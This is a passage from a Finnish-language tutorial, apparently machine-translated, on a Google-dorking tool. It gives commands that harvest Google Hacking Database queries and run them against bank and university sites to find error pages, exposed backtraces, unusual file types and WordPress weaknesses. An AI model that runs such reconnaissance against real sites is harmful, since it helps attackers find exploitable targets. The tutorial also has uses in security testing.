Kuva 5 – Löytyi virheilmoituksia
Tämän seurauksena result.txt-tiedostossa saamme täydellisen luettelon virheeseen johtavista dorkeista.
Kuvassa 6 näkyy sivustovirheiden haun tulos.
Kuva 6 – Virhehaun tulos
Tämän dorkin välimuistissa näytetään täydellinen backtrace, joka paljastaa komentosarjojen absoluuttiset polut, sivuston sisällönhallintajärjestelmän ja tietokantatyypin (katso kuva 7).
Kuva 7 – sivuston suunnittelua koskevien tietojen julkistaminen
On kuitenkin syytä ottaa huomioon, että kaikki GHDB:n dorkit eivät anna todellisia tuloksia. Google ei myöskään välttämättä löydä tarkkaa hakua ja näytä samanlaista tulosta.
Tässä tapauksessa on viisaampaa käyttää henkilökohtaista dokkiluetteloasi. Esimerkiksi kannattaa aina etsiä tiedostoja, joiden pääte on ”epätavallinen”, joista on esimerkkejä kuvassa 8.
Kuva 8 – Luettelo tiedostopäätteistä, jotka eivät ole tyypillisiä tavalliselle verkkoresurssille
Tämän seurauksena komennolla dorks google –D extensions.txt –f bank Google alkaa ensimmäisestä pyynnöstä palauttaa sivustoja, joissa on "epätavalliset" tiedostotunnisteet (katso kuva 9).
Kuva 9 – Hae "huonoja" tiedostotyyppejä pankkisivustoilta
On syytä muistaa, että Google ei hyväksy yli 32 sanaa pitkiä kyselyitä.
Komennolla dorks google –d intext:”error|warning|notice|syntax” –f university
Voit etsiä PHP-tulkkivirheitä koulutussivustoilta (katso kuva 10).
Kuva 10 – PHP-ajonaikaisten virheiden etsiminen
Joskus ei ole kätevää käyttää yhtä tai kahta dorkkiluokkaa.
Jos esimerkiksi tiedetään, että sivusto toimii Wordpress-moottorilla, tarvitsemme WordPress-kohtaisia moduuleja. Tässä tapauksessa on kätevää käyttää Google Hack Database -hakua. Komento dorks ghdb –q wordpress –o wordpress_dorks.txt lataa kaikki dorkit Wordpressistä kuvan 11 mukaisesti:
Kuva 11 – Wordpressiin liittyvien Dorksin haku
Palataan taas pankkiin ja komennolla dorks google –D wordpress_dords.txt –f bank yrittää löytää jotain mielenkiintoista Wordpressiin liittyvää (katso kuva 12).
Kuva 12 – Etsi Wordpressin haavoittuvuuksia
On syytä huomata, että Google Hack Database -haku ei hyväksy sanoja, jotka ovat lyhyempiä kuin 4 merkkiä. Esimerkiksi jos sivuston sisällönhallintajärjestelmää ei tunneta, mutta kieli tunnetaan - PHP. Tässä tapauksessa voit suodattaa tarvitsemasi manuaalisesti käyttämällä putkia ja järjestelmähakuapuohjelmaa dorks –c all | findstr /I php > php_dorks.txt (katso kuva 13):
Kuva 13 – Hae kaikista dorkeista, joissa PHP mainitaan
Haavoittuvuuksien tai joidenkin arkaluonteisten tietojen etsiminen hakukoneesta tulee tehdä vain, jos tällä sivustolla on merkittävä hakemisto. Jos sivustolla on esimerkiksi 10-15 indeksoitua sivua, on typerää etsiä mitään tällä tavalla. Hakemiston koon tarkistaminen on helppoa – kirjoita vain "site:somesite.com" Googlen hakupalkkiin. Esimerkki sivustosta, jonka hakemisto on riittämätön, on esitetty kuvassa 14.
Kuva 14 – Sivuston hakemiston koon tarkistaminen
Nyt epämiellyttävästä... Google saattaa ajoittain pyytää captchaa - et voi tehdä asialle mitään - sinun on syötettävä se. Esimerkiksi, kun haettiin "Virheilmoitukset" -kategoriaa (90 dorkia), captcha esiintyi vain kerran.
On syytä lisätä, että phantomjs tukee myös välityspalvelimen kautta työskentelyä sekä http- että socks-rajapinnan kautta. Ota välityspalvelintila käyttöön poistamalla kommentit vastaavalta riviltä tiedostossa dorks.bat tai dorks.sh.
Työkalu on saatavilla lähdekoodina